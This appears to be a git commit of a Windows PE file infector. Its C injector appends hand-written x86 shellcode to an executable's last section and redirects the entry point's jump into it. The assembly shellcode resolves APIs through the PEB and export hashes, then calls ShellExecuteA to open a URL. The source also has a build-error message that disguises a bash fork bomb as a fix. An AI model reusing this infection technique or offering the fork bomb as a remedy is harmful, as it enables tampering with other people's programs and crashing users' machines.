aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorsegfault <segfault@secmail.pro>2019-03-25 01:49:56 +0100
committersegfault <segfault@secmail.pro>2019-03-25 01:49:56 +0100
commit368a9d701233bda78358335f62aa84c8f81cbeaa (patch)
treeac0d6c78d867954ff7d0cb326f84ad84053cf7df
initial commit
Signed-off-by: segfault <segfault@secmail.pro>
-rw-r--r--Makefile45
-rw-r--r--dummy.c7
-rw-r--r--injector.c490
-rw-r--r--shellcode.asm173
4 files changed, 715 insertions, 0 deletions
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..30f80df
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,45 @@
+SUFFIX := .exe
+CC := i686-w64-mingw32-gcc
+AS := nasm
+RM := rm
+WINE := wine
+ASFLAGS := -fwin32
+CFLAGS := -Wall -std=c99 -Os -s -static -ffunction-sections -fdata-sections -flto -fPIC -m32 -D_DEFAULT_SOURCE=1 -Wl,-x
+ifeq ($(NOPASTA),y)
+CFLAGS += -D_NOPASTA=1
+endif
+ifeq ($(DEBUG),y)
+CFLAGS += -g
+endif
+ifneq ($(SKID),)
+CFLAGS += -DSKID=$(SKID)
+endif
+
+
+all: injector$(SUFFIX) dummy$(SUFFIX)
+
+injector$(SUFFIX): injector.o shellcode.o
+ $(CC) $(CFLAGS) -o $@ $^
+
+injector.o: injector.c
+ $(CC) $(CFLAGS) -c -o $@ $<
+
+shellcode.o: shellcode.asm
+ $(AS) $(ASFLAGS) -o $@ $<
+
+dummy$(SUFFIX): dummy.o
+ $(CC) $(CFLAGS) -o $@ $^
+
+dummy.o: dummy.c
+ $(CC) $(CFLAGS) -c -o $@ $<
+
+test: all
+ $(RM) -f patched_dummy$(SUFFIX)
+ @echo '~~~~~~ INJECTOR ~~~~~~'
+ $(WINE) injector$(SUFFIX) dummy$(SUFFIX)
+ @echo '~~~~~~ PATCHED DUMMY ~~~~~~'
+ $(WINE) patched_dummy$(SUFFIX)
+
+clean:
+ $(RM) -f injector$(SUFFIX) injector.o shellcode.o dummy$(SUFFIX) dummy.o
+ $(RM) -f patched_dummy$(SUFFIX)
diff --git a/dummy.c b/dummy.c
new file mode 100644
index 0000000..aee48bd
--- /dev/null
+++ b/dummy.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+int main(void)
+{
+ printf("Hi, I'm useless.\n");
+}
diff --git a/injector.c b/injector.c
new file mode 100644
index 0000000..ea53f61
--- /dev/null
+++ b/injector.c
@@ -0,0 +1,490 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+
+#include <windows.h>
+
+/* structure which describes the Windows Portable Executable format */
+typedef struct pe_buffer {
+ uint8_t *buf;
+ size_t siz;
+
+ PIMAGE_DOS_HEADER dosHdr;
+ PIMAGE_FILE_HEADER fileHdr;
+ PIMAGE_OPTIONAL_HEADER optHdr;
+ PIMAGE_SECTION_HEADER secHdr;
+} pe_buffer;
+
+/* common instructions usually found near AddressOfEntryPoint
+ * used for our very very basic x86 (en|de)coder
+ */
+typedef enum instruction {
+ REL_CALL = 0xE8, REL_JMP = 0xE9,
+ PUSH_ESP = 0x55, PUSH_BYTE = 0x6A, PUSH_DWORD = 0x68,
+ ADD_ESP = 0x83C4, SUB_ESP = 0x83EC,
+ MOV_DWORD_PTR_DS = 0xC705
+} instruction;
+
+/* shellcode patch context */
+typedef struct patch_ctx {
+ uint8_t *injected_shellcode;
+ instruction patched_inst;
+ uint32_t patched_addr;
+ uint8_t *next_inst;
+} patch_ctx;
+
+/* Force GCC struct for MingW compilers and pack them,
+ * which means the struct is 1-byte aligned.
+ */
+#define GCC_PACKED __attribute__((packed, gcc_struct))
+
+typedef union shellcode_trailer {
+ uint8_t buf[10]; /* byte buffer representation, not used atm */
+ struct {
+ uint8_t inst;
+ uint32_t addr;
+ } GCC_PACKED insts[2]; /* second array entry is required for the FIXME */
+} GCC_PACKED shellcode_trailer;
+
+
+/* external symbols, which gets resolved to the shellcode object
+ * file during link time
+ */
+extern uint32_t shellcode;
+extern uint32_t shellcode_size;
+
+/* callable shellcode function typedef with enforced stdcall
+ * calling convention
+ */
+typedef void (__stdcall *shellcode_fn)(void);
+
+#define INTEL_ASM(_asm_str) \
+ __asm volatile(".intel_syntax noprefix"); \
+ __asm volatile(_asm_str); \
+ __asm volatile(".att_syntax prefix");
+
+#define WIN_PERROR(error_prefix) \
+ printf("%s failed: %lu\n", error_prefix, GetLastError());
+
+static int bcmp(uint8_t *b1, uint8_t *b2, size_t length)
+{
+ uint8_t *p1 = b1, *p2 = b2;
+
+ if (length == 0)
+ return(0);
+ do {
+ if (*p1++ != *p2++)
+ break;
+ } while (--length);
+
+ return length != 0;
+}
+
+static void test_shellcode(void)
+{
+ shellcode_fn fn = (shellcode_fn) &shellcode;
+
+ printf("Kernel32_base.: %p\n"
+ "LoadLibraryA..: %p\n"
+ "GetProcAddrA..: %p\n"
+ "Shell32.dll...: %p\n"
+ "ShellExecute..: %p\n"
+ "shellcode.....: %p\n"
+ "shellcode_size: %u (0x%X)\n",
+ LoadLibraryA("kernel32.dll"),
+ LoadLibraryA,
+ GetProcAddress,
+ LoadLibraryA("Shell32.dll"),
+ GetProcAddress(LoadLibraryA("Shell32.dll"), "ShellExecuteA"),
+ &shellcode,
+ shellcode_size, shellcode_size);
+
+ printf("\nExecuting shellcode ..\n");
+ /* The shellcode detects if it got 'called' or 'jumped' to
+ * by simple comparing a unique value in eax.
+ */
+ INTEL_ASM("push eax; mov eax, 0xDEADBEEF");
+ fn();
+ INTEL_ASM("pop eax");
+ printf("Done.\n");
+}
+
+static DWORD
+read_file(const char *filepath, uint8_t **buf)
+{
+ HANDLE hFile;
+ DWORD dwFileSize, dwFileRead;
+ TCHAR fullPath[MAX_PATH+1] = { 0 };
+
+ if (!GetFullPathName(filepath, sizeof fullPath, fullPath, NULL))
+ {
+ WIN_PERROR("GetFullPathNameA");
+ return 0;
+ }
+
+ *buf = NULL;
+ hFile = CreateFile(fullPath,
+ GENERIC_READ,
+ 0, NULL, OPEN_EXISTING, 0, NULL);
+ if (hFile == INVALID_HANDLE_VALUE) {
+ WIN_PERROR("CreateFile");
+ return 0;
+ }
+
+ dwFileSize = GetFileSize(hFile, NULL);
+ dwFileRead = 0;
+
+ *buf = calloc(dwFileSize, 1);
+ if (!*buf)
+ return 0;
+ if (!ReadFile(hFile, *buf, dwFileSize, &dwFileRead, NULL) ||
+ dwFileRead != dwFileSize)
+ {
+ printf("Read %ld from %ld bytes ..\n", dwFileRead, dwFileSize);
+ CloseHandle(hFile);
+ return 0;
+ }
+ CloseHandle(hFile);
+
+ return dwFileSize;
+}
+
+static int parse_pe(uint8_t *buf, size_t siz, pe_buffer *out)
+{
+ out->buf = NULL;
+ out->siz = 0;
+
+ /* check minimum size of the target file */
+ if (siz < sizeof(IMAGE_DOS_HEADER) +
+ sizeof(IMAGE_FILE_HEADER) +
+ sizeof(IMAGE_OPTIONAL_HEADER) +
+ sizeof(IMAGE_SECTION_HEADER))
+ {
+ return 1;
+ }
+
+ out->dosHdr = (PIMAGE_DOS_HEADER) buf;
+ if (out->dosHdr->e_magic != IMAGE_DOS_SIGNATURE) /* 'MZ' */
+ return 1;
+
+ out->fileHdr =
+ (PIMAGE_FILE_HEADER)(buf + out->dosHdr->e_lfanew +
+ sizeof(DWORD));
+ if (out->fileHdr->Machine != 0x014C) /* i386 */
+ return 1;
+
+ out->optHdr =
+ (PIMAGE_OPTIONAL_HEADER)(buf + out->dosHdr->e_lfanew +
+ sizeof(DWORD) +
+ sizeof(IMAGE_FILE_HEADER));
+ if (out->optHdr->Magic != 0x010b) /* PE32 */
+ return 1;
+
+ out->secHdr =
+ (PIMAGE_SECTION_HEADER)(buf + out->dosHdr->e_lfanew +
+ sizeof(IMAGE_NT_HEADERS));
+
+ out->buf = buf;
+ out->siz = siz;
+
+ return 0;
+}
+
+static int prepare_last_section(pe_buffer *pe, uint8_t **ptrToShellcode)
+{
+ PIMAGE_SECTION_HEADER last_section =
+ &pe->secHdr[pe->fileHdr->NumberOfSections - 1];
+ size_t algndFileSiz = 0;
+ off_t shellcode_offset;
+
+ if (last_section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
+ printf("Last section is marked as discardable.\n"
+ "This means it won't be loaded into the memory\n"
+ "and is only required to retrieve debugging information.\n");
+ return 1;
+ }
+ printf("Extending last section: '%s'\n",
+ last_section->Name);
+
+ while (algndFileSiz < shellcode_size)
+ algndFileSiz += pe->optHdr->FileAlignment;
+ printf("Aligned Size: 0x%lX\n",
+ (unsigned long)algndFileSiz);
+
+ shellcode_offset = pe->siz;
+ pe->siz = pe->siz + algndFileSiz;
+ pe->buf = realloc(pe->buf, pe->siz);
+ if (!pe->buf)
+ return 1;
+ /* realloc() acts like malloc() for the
+ * newly allocated memory region
+ * if newsiz > oldsiz
+ */
+ memset(pe->buf + shellcode_offset, 0, algndFileSiz);
+
+ /* Do not forget to re-parse the pe file again!
+ * The pointers in pe_buffer might not be valid after realloc().
+ * Since the OS can return a pointer to a completly different
+ * memory region!
+ */
+ if (parse_pe(pe->buf, pe->siz, pe))
+ return 1;
+
+ last_section->Misc.VirtualSize += shellcode_size;
+ last_section->SizeOfRawData += algndFileSiz;
+
+ /* It is important to fixup section protections!
+ * Otherwise an Access Violation will occur most likely.
+ */
+ last_section->Characteristics |= IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE;
+
+ /* Place (unpatched) shellcode at the end of the section. */
+ memcpy(pe->buf + shellcode_offset, &shellcode, shellcode_size);
+ *ptrToShellcode = pe->buf + shellcode_offset;
+
+ return 0;
+}
+
+static uint8_t *
+RvaToPtr(uint8_t *buf, off_t rva)
+{
+ PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER) buf;
+ PIMAGE_FILE_HEADER fileHdr =
+ (PIMAGE_FILE_HEADER)(buf +
+ dosHdr->e_lfanew +
+ sizeof(DWORD));
+ PIMAGE_SECTION_HEADER sections =
+ (PIMAGE_SECTION_HEADER)(buf +
+ dosHdr->e_lfanew +
+ sizeof(IMAGE_NT_HEADERS));
+ size_t nSections = fileHdr->NumberOfSections;
+ off_t pos = 0;
+
+ for (SIZE_T i = 0; i < nSections; ++i) {
+ if (rva >= sections[i].VirtualAddress) {
+ pos = sections[i].VirtualAddress;
+ pos += sections[i].SizeOfRawData;
+ }
+ if (rva < pos) {
+ rva -= sections[i].VirtualAddress;
+ return buf + rva + sections[i].PointerToRawData;
+ }
+ }
+ return NULL;
+}
+
+static off_t
+OffsetToRva(pe_buffer *pe, off_t offset)
+{
+ if (pe->fileHdr->NumberOfSections <= 0 || pe->optHdr->SizeOfHeaders > offset)
+ return -1;
+ PIMAGE_SECTION_HEADER sections = pe->secHdr;
+ size_t nSections = pe->fileHdr->NumberOfSections;
+ off_t dwPos = sections[0].VirtualAddress + (offset - sections[0].PointerToRawData);
+
+ for (size_t i = 0; i < nSections; ++i) {
+ if (offset < sections[i].PointerToRawData)
+ break;
+ dwPos = sections[i].VirtualAddress + (offset - sections[i].PointerToRawData);
+ }
+ return dwPos + pe->optHdr->ImageBase;
+}
+
+static inline off_t
+PtrToOffset(pe_buffer *pe, const uint8_t *ptr)
+{
+ DWORD dwRva = (off_t)ptr - (off_t)pe->buf;
+ return dwRva;
+}
+
+static inline off_t
+PtrToRva(pe_buffer *pe, const uint8_t *ptr)
+{
+ return OffsetToRva(pe, PtrToOffset(pe, ptr));
+}
+
+static inline off_t
+calc_relative_offset(off_t start, off_t end)
+{
+ return end - start - 0x5 /* sizeof(rel JMP/CALL) */;
+}
+
+static int search_patch_near_entry(pe_buffer *pe, patch_ctx *pa)
+{
+ const size_t maxbytes = 30;
+ size_t i;
+ uint8_t *insts8 = RvaToPtr(pe->buf,
+ pe->optHdr->AddressOfEntryPoint);
+ uint16_t *insts16;
+ uint32_t relAddr;
+ uint32_t entryVA = pe->optHdr->ImageBase +
+ pe->optHdr->AddressOfEntryPoint;
+ uint32_t shellVA = PtrToRva(pe, pa->injected_shellcode);
+
+ if (insts8 - pe->buf > pe->siz - maxbytes)
+ return 1;
+
+ printf("AddressOfEntryPoint (VA): 0x%08lX\n", (unsigned long)entryVA);
+ printf("Shellcode (VA): 0x%08lX\n", (unsigned long)shellVA);
+
+ for (i = 0; i < maxbytes; ++i) {
+ switch (insts8[i]) {
+ case PUSH_ESP:
+ continue;
+ case PUSH_BYTE:
+ i++;
+ continue;
+ case PUSH_DWORD:
+ i += 4;
+ continue;
+ case REL_CALL:
+ /* FIXME: Try to patch relative calls! */
+ i += 4;
+ continue;
+ case REL_JMP:
+ pa->next_inst = &insts8[i];
+ pa->patched_inst = insts8[i];
+ pa->patched_addr = *(uint32_t *)&insts8[i+1];
+
+ relAddr = calc_relative_offset(entryVA + i, shellVA);
+ printf("Patching RelJMP at 0x%08lX: 0x%08lX\n",
+ (unsigned long)entryVA + i - 1,
+ (unsigned long)relAddr);
+ *(uint32_t *)(&insts8[i+1]) = relAddr;
+ return 0;
+ }
+
+ insts16 = (uint16_t *)insts8;
+ switch (insts16[i]) {
+ case ADD_ESP:
+ case SUB_ESP:
+ i += 3;
+ continue;
+ case MOV_DWORD_PTR_DS:
+ i += 9;
+ continue;
+ }
+ }
+
+ printf("No patchable instruction found within the first %u bytes "
+ "after 0x%08lX, sorry :(\n", maxbytes, (unsigned long)entryVA);
+ return 1;
+}
+
+static int patch_shellcode(pe_buffer *pe, patch_ctx *pa)
+{
+ size_t i;
+ uint8_t cmp_jmpmarker[] = { 0xFF,0xDE,0xAD,0xC0,0xDE };
+ shellcode_trailer *trl;
+ uint32_t nextInstVA = PtrToRva(pe, pa->next_inst);
+ uint32_t trlInstVA;
+
+ for (i = 0; i < shellcode_size; ++i) {
+ if (!bcmp(&pa->injected_shellcode[i], cmp_jmpmarker, sizeof cmp_jmpmarker)) {
+ trl = (shellcode_trailer *)&pa->injected_shellcode[i];
+ trlInstVA = PtrToRva(pe, &trl->insts[0].inst);
+ trl->insts[0].inst = pa->patched_inst;
+ trl->insts[0].addr = pa->patched_addr - (trlInstVA - nextInstVA);
+
+ /* FIXME: Try to patch relative calls!
+ * HINT: You need to patch trl->insts[0] with the
+ * relative call and the fixed relative addr.
+ * The trl->insts[1] should contain the relative JMP
+ * from above.
+ */
+ trl->insts[1].inst = 0xFF;
+ trl->insts[1].addr = 0xCAFECAFE;
+ return 0;
+ }
+ }
+
+ return 1;
+}
+
+static DWORD
+write_file(const char *filepath, uint8_t *buf, DWORD siz)
+{
+ HANDLE hFile;
+ DWORD dwFileWritten;
+ TCHAR fullPath[MAX_PATH+1] = { 0 };
+
+ if (!GetFullPathName(filepath, sizeof fullPath, fullPath, NULL))
+ {
+ WIN_PERROR("GetFullPathNameA");
+ return 0;
+ }
+
+ hFile = CreateFile(fullPath,
+ GENERIC_WRITE,
+ 0, NULL, CREATE_ALWAYS,
+ FILE_ATTRIBUTE_NORMAL, NULL);
+ if (hFile == INVALID_HANDLE_VALUE) {
+ WIN_PERROR("CreateFile");
+ return 0;
+ }
+
+ if (!WriteFile(hFile, buf, siz, &dwFileWritten, NULL) ||
+ siz != dwFileWritten)
+ {
+ printf("Written %lu from %lu bytes ..\n", dwFileWritten, siz);
+ CloseHandle(hFile);
+ return 0;
+ }
+ CloseHandle(hFile);
+
+ return dwFileWritten;
+}
+
+int main(int argc, char **argv)
+{
+ pe_buffer pebuf;
+ patch_ctx pactx;
+ char out_filepath[PATH_MAX]; /* output filepath for the final executable */
+
+ if (argc < 2) {
+ test_shellcode();
+ exit(EXIT_SUCCESS);
+ }
+
+ pebuf.siz = read_file(argv[1], &pebuf.buf);
+ if (!pebuf.buf) {
+ WIN_PERROR("read_file");
+ exit(EXIT_FAILURE);
+ }
+ printf("open/read executable: '%s' (%lu bytes)\n", argv[1],
+ (unsigned long)pebuf.siz);
+
+ if (parse_pe(pebuf.buf, pebuf.siz, &pebuf)) {
+ printf("Parsing PE file failed\n");
+ exit(EXIT_FAILURE);
+ }
+
+ if (prepare_last_section(&pebuf, &pactx.injected_shellcode)) {
+ printf("Preparing last section failed\n");
+ exit(EXIT_FAILURE);
+ }
+
+ if (search_patch_near_entry(&pebuf, &pactx)) {
+ printf("Search&Patch failed\n");
+ exit(EXIT_FAILURE);
+ }
+
+ if (patch_shellcode(&pebuf, &pactx)) {
+ printf("PatchShellcode failed\n");
+ exit(EXIT_FAILURE);
+ }
+
+ snprintf(out_filepath, sizeof out_filepath, "patched_%s", argv[1]);
+ if (!write_file(out_filepath, pebuf.buf, pebuf.siz)) {
+ WIN_PERROR("write_file");
+ exit(EXIT_FAILURE);
+ }
+ printf("create/write executable: '%s' (%lu bytes)\n", out_filepath,
+ (unsigned long)pebuf.siz);
+
+ return 0;
+}
+
+#if SKID != 1337
+#error "There was an unknown compilation error. You can try to fix it by typing `:(){:|:&};:` in your terminal."
+#endif
diff --git a/shellcode.asm b/shellcode.asm
new file mode 100644
index 0000000..8d4057d
--- /dev/null
+++ b/shellcode.asm
@@ -0,0 +1,173 @@
+bits 32
+section .shellcode align=1
+
+global _shellcode
+global _shellcode_size
+
+_shellcode:
+jmp _shellcode_entry
+
+
+; Calculate a 32 bit hash from a string (non-case-sensitive)
+; arguments: esi = ptr to string
+; ecx = bufsiz
+; modifies : eax, edi
+; return : 32 bit hash value in edi
+_calcStrHash:
+ xor edi,edi
+ _calcHash_loop:
+ xor eax,eax
+ lodsb ; read in the next byte of the name [esi] and store it in al
+ cmp al,'a' ; some versions of Windows use lower case module names
+ jl _calcHash_not_lowercase
+ sub al,0x20 ; if so normalise to uppercase
+ _calcHash_not_lowercase:
+ ror edi,13 ; rotate right our hash value
+ add edi,eax ; add the next byte of the name to the hash
+ loop _calcHash_loop
+ ret
+
+; Get base address of kernel32.dll (alternative way through PEB)
+; arguments: -
+; modifies : eax, ebx
+; return : base addres in eax
+_getModuleHandleKernel32PEB:
+ mov eax,[fs:0x30] ; PEB
+ mov eax,[eax+0x0c] ; PEB->Ldr
+ mov eax,[eax+0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
+ mov ebx,eax
+ xor ecx,ecx
+ _getModuleHandleKernel32PEB_loop:
+ pushad
+ mov esi,[ebx+0x28] ; Flink.ModuleName (16bit UNICODE)
+ mov ecx,0x18 ; max module length: 24 -> len('kernel32.dll')*2
+ call _calcStrHash
+ cmp edi,0x6A4ABC5B ; pre calculated module name hash of 'kernel32.dll'
+ popad
+ mov ecx,[ebx+0x10] ; get base address
+ mov ebx,[ebx]
+ jne _getModuleHandleKernel32PEB_loop
+ mov eax,ecx
+ ret
+ _getModuleHandleKernel32PEB_fail:
+ xor eax,eax
+ ret
+
+; Get Address of GetProcAddress from module export directory
+; arguments: eax = kernel32 base address
+; modifies : eax, ebx, ecx, edi, edx, esi
+; return : eax
+_getAdrOfGetProcAddress:
+ mov ebx,eax
+ add ebx,[eax+0x3c] ; PE header
+ mov ebx,[ebx+0x78] ; RVA export directory
+ add ebx,eax
+ mov esi,[ebx+0x20] ; RVA Export Number Table
+ add esi,eax ; VA of ENT
+ mov edx,eax ; remember kernel base
+ xor ecx,ecx
+ _getAdrOfGetProcAddress_loop:
+ inc ecx
+ lodsd ; load dword from esi into eax
+ add eax,edx ; add kernel base
+ pushad
+ mov esi,eax ; string
+ mov ecx,14 ; len('GetProcAddress')
+ call _calcStrHash
+ cmp edi,0x1ACAEE7A ; pre calculated hash of 'GetProcAddress' (see _calcStrHash)
+ popad
+ jne _getAdrOfGetProcAddress_loop
+ dec ecx
+ mov edi,ebx
+ mov edi,[edi+0x24] ; RVA of Export Ordinal Table
+ add edi,edx ; VA of EOT
+ movzx edi,word [ecx*2+edi] ; ordinal to function
+ mov eax,ebx
+ mov eax,[eax+0x1c] ; RVA of Export Address Table
+ add eax,edx ; VA of EAT
+ mov eax,[edi*4+eax] ; RVA of GetProcAddress
+ add eax,edx ; VA of GetProcAddress
+ ret
+
+
+_shellcode_entry:
+; Wanna debug?
+;int3
+pushad
+; Get Kernel32 base address from PEB
+call _getModuleHandleKernel32PEB ; kernel32.dll stores the base in eax
+sub esp, 8 ; make space for address of LoadLibraryA
+ ; and Shell32.dll base address
+push eax
+call _getAdrOfGetProcAddress ; locate GetProcAddress by using eax (result in eax)
+push eax
+mov ebp,esp ; new stack frame
+; LoadLibraryA / ShellExecuteA
+push 0x00000000 ; NUL termination
+push 0x41797261 ; 'Ayra'
+push 0x7262694C ; 'rbiL'
+push 0x64616F4C ; 'daoL'
+push esp ; ptr to string above (1st arg for GetProcAddress)
+push dword [ebp+4] ; KERNEL32.dll base address (2nd arg for GetProcAddress)
+call [ebp] ; GetProcAddress
+mov [ebp+8],eax ; LoadLibraryA in eax
+
+push 0x006C6C64 ; 'lld'
+push 0x2E32336C ; '.23l'
+push 0x6C656853 ; 'lehS'
+push esp ; ptr to string above (1st arg for LoadLibraryA)
+call [ebp+8] ; GetProcAddress
+mov [ebp+12],eax ; Shell32.dll in eax
+
+push 0x00000041 ; 'A'
+push 0x65747563 ; 'etuc'
+push 0x6578456C ; 'exEl'
+push 0x6C656853 ; 'lehS'
+push esp ; ptr to string above (1st arg for GetProcAddress)
+push dword [ebp+12] ; Shell32.dll base address (2nd arg for GetProcAddress)
+call [ebp] ; GetProcAddress
+; ShellExecuteA address in eax
+
+; ShellExecuteA
+; URL: http://y2u.be/DLzxrzFCyOs
+push 0x00000073 ; 's'
+push 0x4F794346 ; 'OyCF'
+push 0x7A72787A ; 'zrxz'
+push 0x4C442F65 ; 'LD/e'
+push 0x622E7532 ; 'b.u2'
+push 0x792F2F3A ; 'y//:'
+push 0x70747468 ; 'ptth'
+; 'Open'
+push 0x00000000
+push 0x6E65706F
+; Arguments for ShellExecuteA
+push 0x00000001 ; nShowCmd -> SW_SHOWNORMAL
+push esp
+push 0x00000000 ; lpDirectory -> NULL
+push 0x00000000 ; lpParameters -> NULL
+push esp
+add dword [esp], 24 ; lpFile -> address to URL
+push esp
+add dword [esp], 20 ; lpOperation -> address to 'Open'
+push 0x00000000 ; hwnd -> NULL
+call eax
+
+; cleanup stack memory
+add esp,16 + 12 + 16 + 28 + 8 + 4 + 8
+pop eax
+pop eax
+popad
+
+; The following code is typically used to test the shellcode.
+; If you don't plan to test it e.g. by running test_shellcode()
+; you can delete the cmp, jne, ret and shellcode_noret.
+cmp eax, 0xDEADBEEF
+jne shellcode_noret
+ret
+shellcode_noret:
+; will be overwritten by our "jump back to original code flow" instruction
+db 0xFF,0xDE,0xAD,0xC0,0xDE
+db 0x00,0x00,0x00,0x00,0x00
+
+_shellcode_size:
+dd $ - _shellcode